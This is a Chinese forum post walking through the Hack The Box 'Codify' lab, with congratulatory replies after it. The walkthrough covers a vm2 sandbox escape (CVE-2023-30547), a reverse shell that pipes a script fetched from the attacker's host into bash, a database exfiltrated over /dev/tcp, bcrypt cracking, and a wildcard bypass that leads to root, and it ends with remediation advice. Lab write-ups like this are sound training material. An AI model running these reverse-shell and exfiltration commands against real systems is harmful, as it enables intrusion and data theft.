HTB Codify靶机渗透测试详细记录

I just pwned Codify on Hack The Box! Owned Codify from Hack The Box! #HackTheBox #htb #CyberSecurity #EthicalHacking #InfoSec #PenTesting


说实话有点刁钻,要分析脚本,挺难的,历时4小时,我直接通宵做两天的每日任务 :face_holding_back_tears:
以下是详细渗透测试记录

HTB Codify靶机渗透测试详细记录

1. 初始侦察阶段

端口扫描命令及参数

首先使用高速率全端口扫描发现开放端口:

nmap -sT -min-rate 10000 -p- 10.10.11.239

针对发现的开放端口进行详细探测:

nmap -sT -sC -sV -O -p22,80,3000 10.10.11.239

开放端口及服务列表

  • 22/tcp - SSH服务
  • 80/tcp - HTTP服务
  • 3000/tcp - Node.js服务

发现的服务版本信息

  • SSH: OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
  • HTTP: Apache httpd 2.4.52 (Ubuntu)
  • 3000/tcp: Node.js Express框架
  • 操作系统: Linux 4.15 - 5.19

2. 服务探测与信息收集

Web服务分析

80端口网站重定向至域名codify.htb,需要添加本地hosts文件解析:

echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts

域名发现与解析

使用feroxbuster进行目录枚举:

feroxbuster -u http://codify.htb

发现以下页面:

  • /editor - 在线代码执行页面
  • /limitations - 功能限制说明
  • /about - 网站介绍页面

应用程序识别

通过访问http://codify.htb/about了解到:

  • 网站提供在线JavaScript代码执行功能
  • 使用vm2沙箱技术限制执行环境
  • 明确禁止使用child_processfs模块

版本信息收集

/about页面获取核心信息:

  • vm2沙箱版本为3.9.16
  • 网站运行在Node.js环境上

3. 漏洞识别与初始访问

发现的潜在漏洞

通过查询发现vm2 v3.9.16存在沙箱逃逸漏洞,对应CVE-2023-30547。

漏洞验证

使用以下代码验证目标是否存在漏洞:

const version = require("vm2/package.json").version;

if (version < "3.9.17") {
    console.log("vulnerable!");
} else {
    console.log("not vulnerable");
}

确认漏洞存在后,确定执行接口为:

POST /run HTTP/1.1
Host: codify.htb
Content-Type: application/json

成功获取初始访问的方法

  1. 克隆漏洞利用工具:
git clone https://github.com/rvizx/CVE-2023-30547
cd CVE-2023-30547
  1. 使用漏洞利用工具执行命令验证可利用性:
python3 exploit.py http://codify.htb/run
> id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
  1. 构建反弹shell:
# 本地创建shell脚本
echo -e '/usr/bin/sh -i >& /dev/tcp/10.10.16.16/9999 0>&1' > rce.sh
python3 -m http.server 8000

# 监听反弹shell连接
nc -lnvp 9999

# 在目标服务器上执行命令
curl http://10.10.16.16:8000/rce.sh|bash
  1. 成功获得反弹shell并升级为交互式shell:
script /dev/null -c bash

4. 横向移动

用户枚举与权限分析

通过查看/home目录发现两个用户:

  • svc (当前用户)
  • joshua (目标用户)

获取的敏感信息

在web应用目录中发现SQLite数据库文件:

cd /var/www/contacts
file tickets.db
# 输出:tickets.db: SQLite 3.x database

凭证收集与利用

  1. 将数据库文件传送至本地:
# 本地监听
nc -lvnp 6666 > tickets.db

# 目标服务器发送
cat tickets.db > /dev/tcp/10.10.16.16/6666
  1. 分析数据库内容,发现用户凭据:
  • 用户名: joshua
  • 密码哈希: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
  • 哈希类型: bcrypt
  1. 使用hashcat破解密码:
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

成功破解得到密码: spongebob1

  1. 使用SSH登录joshua用户:
ssh [email protected]
# 密码: spongebob1
  1. 获取user.txt:
cat user.txt
# 8a4d6481997a080d96ce9251ed5c67e5

5. 权限提升前的信息收集

本地文件分析

检查joshua用户可以使用sudo执行的命令:

sudo -l

发现可以以root权限执行脚本:/opt/scripts/mysql-backup.sh

敏感脚本检查

查看备份脚本内容:

cat /opt/scripts/mysql-backup.sh

脚本分析发现两处安全问题:

  1. 密码比较逻辑存在漏洞:
if [[ $DB_PASS == $USER_PASS ]]; then
  • 变量$DB_PASS未用引号包围
  • 在Bash双方括号中,右侧被视为匹配模式
  • 允许使用通配符(*)匹配任何密码
  1. 密码处理存在信息泄露:
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;")
  • 脚本在命令行中直接使用数据库密码
  • 进程监控工具可以捕获完整命令行参数

6. 权限提升

工具准备

下载进程监控工具pspy:

# 本地下载并启动HTTP服务
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
python3 -m http.server 8000

# 目标机器下载并准备
curl -o pspy64s http://10.10.16.16:8000/pspy64s
chmod 777 pspy64s

利用过程

  1. 启动进程监控:
./pspy64s
  1. 在另一个SSH会话中执行备份脚本:
sudo /opt/scripts/mysql-backup.sh
# 当提示输入密码时,输入通配符 *
  1. 在pspy输出中捕获到数据库真实密码:
2025/04/04 19:44:51 CMD: UID=0 PID=2412 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 sys
  1. 使用获取的root密码进行权限提升:
su root
# 密码: kljh12k3jhaskjh12kjh3
  1. 获取root.txt:
cat /root/root.txt
# c390b40ca602b4865e424932452c9a14

7. 总结

安全漏洞列表

  1. Node.js vm2沙箱逃逸漏洞 (CVE-2023-30547)
    • 严重性: 高
    • 影响: 允许远程代码执行,绕过沙箱限制
  2. 不安全的凭据存储
    • 严重性: 中
    • 影响: 在Web应用数据库中存储用户密码哈希
  3. Bash脚本中的不安全字符串比较
    • 严重性: 高
    • 影响: 允许通过通配符绕过密码验证
  4. 命令行中明文密码泄露
    • 严重性: 高
    • 影响: 通过进程监控可获取root密码

风险等级评估

  • 整体风险:
  • 数据泄露风险:
  • 系统完整性风险:
  • 可利用性: 容易

详细修复建议

  1. 升级vm2沙箱至最新版本

    • 将vm2升级至3.9.17或更高版本
    • 定期跟踪安全公告更新依赖库
  2. 改进凭据存储机制

    • 使用更强的哈希算法和加盐机制
    • 考虑实施密码强度策略
  3. 脚本安全性增强

    • 修复脚本中的字符串比较:
    # 修改前
    if [[ $DB_PASS == $USER_PASS ]]; then
    
    # 修改后
    if [[ "$DB_PASS" == "$USER_PASS" ]]; then
    
  4. 避免命令行明文密码

    • 使用环境变量或配置文件代替命令行参数
    • 实现MySQL配置文件或凭据管理系统
  5. 限制sudo权限

    • 遵循最小权限原则
    • 对敏感脚本实施更严格的访问控制

预防类似问题的安全策略

  1. 定期依赖库安全审计
    • 使用工具如OWASP Dependency-Check、npm audit
    • 建立依赖库补丁管理流程
  2. 代码审查与安全测试
    • 对关键脚本进行安全代码审查
    • 实施自动化安全测试流程
  3. 权限隔离与最小化
    • 应用程序使用专用低权限账户运行
    • 限制服务间权限共享
  4. 安全配置管理
    • 实施安全配置基线
    • 使用安全的密码和凭据管理方案

8. 漏洞利用路径总结

完整攻击链路图

端口扫描 → 发现Web服务 → 确认vm2沙箱 → 利用沙箱逃逸漏洞 → 
获取svc用户shell → 发现SQLite数据库 → 提取并破解用户密码 → 
获取joshua用户权限 → 发现可执行的备份脚本 → 利用bash条件判断漏洞 → 
通过pspy捕获root密码 → 获取root权限

各阶段关键点总结

  1. 初始访问
    • 发现并利用vm2沙箱逃逸获得svc用户权限
  2. 横向移动
    • 通过数据库文件获取用户凭据
    • 成功登录joshua用户
  3. 权限提升
    • 利用bash脚本中的两个安全问题
    • 通过进程监控捕获明文root密码

攻击向量简明展示

  • 入口点: vm2沙箱逃逸 (CVE-2023-30547)
  • 权限升级链: svc用户 → joshua用户 → root用户
  • 关键漏洞利用:
    1. JS沙箱逃逸
    2. 密码哈希破解
    3. Bash脚本安全漏洞
    4. 命令行参数监控
16 个赞

太强了!

阿。。。这么快

我的妈呀,佬这么拼的嘛

不是,你们都上夜班吗

1 个赞

熬夜,熬夜 :tieba_087:

行吧,我打完靶场要休息了 :melting_face: :melting_face: :melting_face:
债见

佬太强了 :tieba_087:

债见:face_blowing_a_kiss::face_blowing_a_kiss:

好强 :tieba_087:

本来后半夜帖子就不多,有就不错了(

看完电影来逛站,居然遇到佬的更新!佬太强了!!!

佬太强了,膜拜膜拜

大佬太强了!